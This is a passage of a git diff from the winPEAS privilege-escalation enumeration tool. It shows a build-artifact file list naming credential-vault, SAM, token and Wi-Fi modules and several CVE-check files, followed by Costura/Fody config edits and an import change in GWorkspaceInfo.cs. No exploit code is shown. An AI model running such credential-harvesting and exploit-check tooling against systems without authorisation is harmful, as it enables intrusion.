urceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_SCHEMA_ELEMENT_ID.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_ELEMENT.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN7.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN8.cs"},{"SourceFile":"KnownFileCreds\\Vault\\VaultCli.cs"},{"SourceFile":"Helpers\\MyUtils.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\SamServer.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\SID2GroupNameHelper.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Token.cs"},{"SourceFile":"Info\\UserInfo\\User.cs"},{"SourceFile":"Native\\Advapi32.cs"},{"SourceFile":"Native\\Classes\\SafeTokenHandle.cs"},{"SourceFile":"Native\\Classes\\UNICODE_STRING.cs"},{"SourceFile":"Native\\Enums\\AccessTypes.cs"},{"SourceFile":"Native\\Enums\\CredentialType.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FLAGS.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FORMAT.cs"},{"SourceFile":"Native\\Enums\\GPOLink.cs"},{"SourceFile":"Native\\Enums\\GPOOptions.cs"},{"SourceFile":"Native\\Enums\\NetJoinStatus.cs"},{"SourceFile":"Native\\Enums\\PrivilegeAttributes.cs"},{"SourceFile":"Native\\Enums\\SECURITY_IMPERSONATION_LEVEL.cs"},{"SourceFile":"Native\\Enums\\SECURITY_LOGON_TYPE.cs"},{"SourceFile":"Native\\Enums\\ServerTypes.cs"},{"SourceFile":"Native\\Enums\\SessionSecurity.cs"},{"SourceFile":"Native\\Enums\\SE_OBJECT_TYPE.cs"},{"SourceFile":"Native\\Enums\\SID_NAME_USE.cs"},{"SourceFile":"Native\\Enums\\TokenType.cs"},{"SourceFile":"Native\\Enums\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"Native\\Enums\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"Native\\Enums\\UserPrivType.cs"},{"SourceFile":"Native\\Enums\\WTS_INFO_CLASS.cs"},{"SourceFile":"Native\\Iphlpapi.cs"},{"SourceFile":"Native\\Ntdll.cs"},{"SourceFile":"Native\\Kernel32.cs"},{"SourceFile":"Native\\Netapi32.cs"},{"SourceFile":"Native\\Ntdsapi.cs"},{"SourceFile":"Native\\Psapi.cs"},{"SourceFile":"Native\\Samlib.cs"},{"SourceFile":"Native\\Secur32.cs"},{"SourceFile":"Native\\Structs\\DSREG_JOIN_INFO.cs"},{"SourceFile":"Native\\Structs\\DSREG_USER_INFO.cs"},{"SourceFile":"Native\\Structs\\LastInputInfo.cs"},{"SourceFile":"Native\\Structs\\LUID.cs"},{"SourceFile":"Native\\Structs\\LUID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\PRIVILEGE_SET.cs"},{"SourceFile":"Native\\Structs\\SID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\TOKEN_ELEVATION.cs"},{"SourceFile":"Native\\Structs\\TOKEN_MANDATORY_LABEL.cs"},{"SourceFile":"Native\\Structs\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"Native\\Structs\\USER_INFO_3.cs"},{"SourceFile":"Native\\User32.cs"},{"SourceFile":"Native\\Vaultcli.cs"},{"SourceFile":"Native\\WlanApi.cs"},{"SourceFile":"Native\\Wtsapi32.cs"},{"SourceFile":"TaskScheduler\\AccessControlExtension.cs"},{"SourceFile":"TaskScheduler\\Action.cs"},{"SourceFile":"TaskScheduler\\ActionCollection.cs"},{"SourceFile":"TaskScheduler\\CultureSwitcher.cs"},{"SourceFile":"TaskScheduler\\EnumGlobalizer.cs"},{"SourceFile":"TaskScheduler\\EnumUtil.cs"},{"SourceFile":"TaskScheduler\\JetBrains.Annotations.cs"},{"SourceFile":"TaskScheduler\\NamedValueCollection.cs"},{"SourceFile":"TaskScheduler\\NotV1SupportedException.cs"},{"SourceFile":"TaskScheduler\\ReflectionHelper.cs"},{"SourceFile":"TaskScheduler\\Task.cs"},{"SourceFile":"TaskScheduler\\TaskCollection.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\InteropUtil.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NetServerEnum.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NTDSAPI.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\SYSTEMTIME.cs"},{"SourceFile":"TaskScheduler\\TaskEvent.cs"},{"SourceFile":"TaskScheduler\\TaskFolder.cs"},{"SourceFile":"TaskScheduler\\TaskFolderCollection.cs"},{"SourceFile":"TaskScheduler\\TaskHandlerInterfaces.cs"},{"SourceFile":"TaskScheduler\\TaskSecurity.cs"},{"SourceFile":"TaskScheduler\\TaskService.cs"},{"SourceFile":"TaskScheduler\\Trigger.cs"},{"SourceFile":"TaskScheduler\\TriggerCollection.cs"},{"SourceFile":"TaskScheduler\\User.cs"},{"SourceFile":"TaskScheduler\\V1\\TaskSchedulerV1Interop.cs"},{"SourceFile":"TaskScheduler\\V2\\TaskSchedulerV2Interop.cs"},{"SourceFile":"TaskScheduler\\Wildcard.cs"},{"SourceFile":"TaskScheduler\\WindowsImpersonatedIdentity.cs"},{"SourceFile":"TaskScheduler\\XmlSerializationHelper.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Enums.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Structs.cs"},{"SourceFile":"Info\\NetworkInfo\\Firewall.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkInfoHelper.cs"},{"SourceFile":"Info\\ProcessInfo\\DefensiveProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\InterestingProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\ProcessesInfo.cs"},{"SourceFile":"Program.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"Properties\\Resources.Designer.cs"},{"SourceFile":"Info\\ServicesInfo\\ServicesInfoHelper.cs"},{"SourceFile":"Info\\SystemInfo\\SystemInfo.cs"},{"SourceFile":"Info\\UserInfo\\UserInfoHelper.cs"},{"SourceFile":"Helpers\\DomainHelper.cs"},{"SourceFile":"Helpers\\CheckRunner.cs"},{"SourceFile":"Helpers\\ReflectionHelper.cs"},{"SourceFile":"Helpers\\Registry\\RegistryHelper.cs"},{"SourceFile":"Helpers\\Search\\SearchHelper.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0836.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0841.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1064.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1130.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1253.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1315.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1385.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1388.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1405.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0668.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0683.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-1013.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0796.cs"},{"SourceFile":"3rdParty\\Watson\\Vulnerability.cs"},{"SourceFile":"3rdParty\\Watson\\VulnerabilityCollection.cs"},{"SourceFile":"3rdParty\\Watson\\Watson.cs"},{"SourceFile":"3rdParty\\Watson\\Wmi.cs"},{"SourceFile":"Wifi\\Wifi.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Interop.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\WlanClient.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Portable.BouncyCastle.1.9.0\\lib\\net40\\BouncyCastle.Crypto.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Costura.Fody.5.7.0\\lib\\netstandard1.0\\Costura.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Microsoft.Bcl.AsyncInterfaces.8.0.0\\lib\\net462\\Microsoft.Bcl.AsyncInterfaces.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\Microsoft.Win32.Primitives.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.AppContext.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Buffers.4.5.1\\lib\\net461\\System.Buffers.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.Composition.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.DataAnnotations.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Console.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Diagnostics.DiagnosticSource.4.3.0\\lib\\net46\\System.Diagnostics.DiagnosticSource.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Diagnostics.Tracing.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.DirectoryServices.AccountManagement.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Globalization.Calendars.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.IO.Compression.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.IO.Compression.FileSystem.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.IO.Compression.ZipFile.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.IO.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.IO.FileSystem.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.IO.FileSystem.Primitives.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Linq.Expressions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Memory.4.5.5\\lib\\net461\\System.Memory.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Net.Sockets.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Numerics.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Numerics.Vectors.4.5.0\\lib\\net46\\System.Numerics.Vectors.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Reflection.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Runtime.CompilerServices.Unsafe.6.0.0\\lib\\net461\\System.Runtime.CompilerServices.Unsafe.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Runtime.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Runtime.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Runtime.InteropServices.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Runtime.InteropServices.RuntimeInformation.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Security.Cryptography.Algorithms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Security.Cryptography.Encoding.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Security.Cryptography.Primitives.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Security.Cryptography.X509Certificates.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Security.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ServiceProcess.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Text.Encodings.Web.8.0.0\\lib\\net462\\System.Text.Encodings.Web.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Text.RegularExpressions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Threading.Tasks.Extensions.4.5.4\\lib\\net461\\System.Threading.Tasks.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Transactions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.ValueTuple.4.5.0\\lib\\net47\\System.ValueTuple.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Web.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Facades\\System.Xml.ReaderWriter.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe","OutputItemRelativePath":"winPEAS.exe"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]} \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/App.config b/winPEAS/winPEASexe/winPEAS/App.config index 9d37db7..2177a05 100755 --- a/winPEAS/winPEASexe/winPEAS/App.config +++ b/winPEAS/winPEASexe/winPEAS/App.config @@ -9,6 +9,12 @@ + + + + + + diff --git a/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml index 5029e70..2c20c8c 100755 --- a/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml +++ b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml @@ -1,3 +1,11 @@ - - + + + + + SQLite.Interop + + + SQLite.Interop + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd index 44a5374..05e92c1 100755 --- a/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd +++ b/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd @@ -17,6 +17,16 @@ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. @@ -43,6 +53,16 @@ Controls if .pdbs for reference assemblies are also embedded. + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. @@ -73,6 +93,16 @@ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + A list of unmanaged 32 bit assembly names to include, delimited with |. diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs index a212c08..7d1579c 100644 --- a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs @@ -4,13 +4,13 @@ using System.IO; using System.Security.Cryptography; using System.Text; using winPEAS.Helpers; -using Newtonsoft.Json; using System.Data.SQLite; using Org.BouncyCastle.Crypto; using Org.BouncyCastle.Crypto.Parameters; using Org.BouncyCastle.Crypto.Modes; using System.Linq; using Microsoft.Win32; +using System.Web.Script.Serialization; namespace winPEAS.Info.CloudInfo @@ -194,8 +194,9 @@ 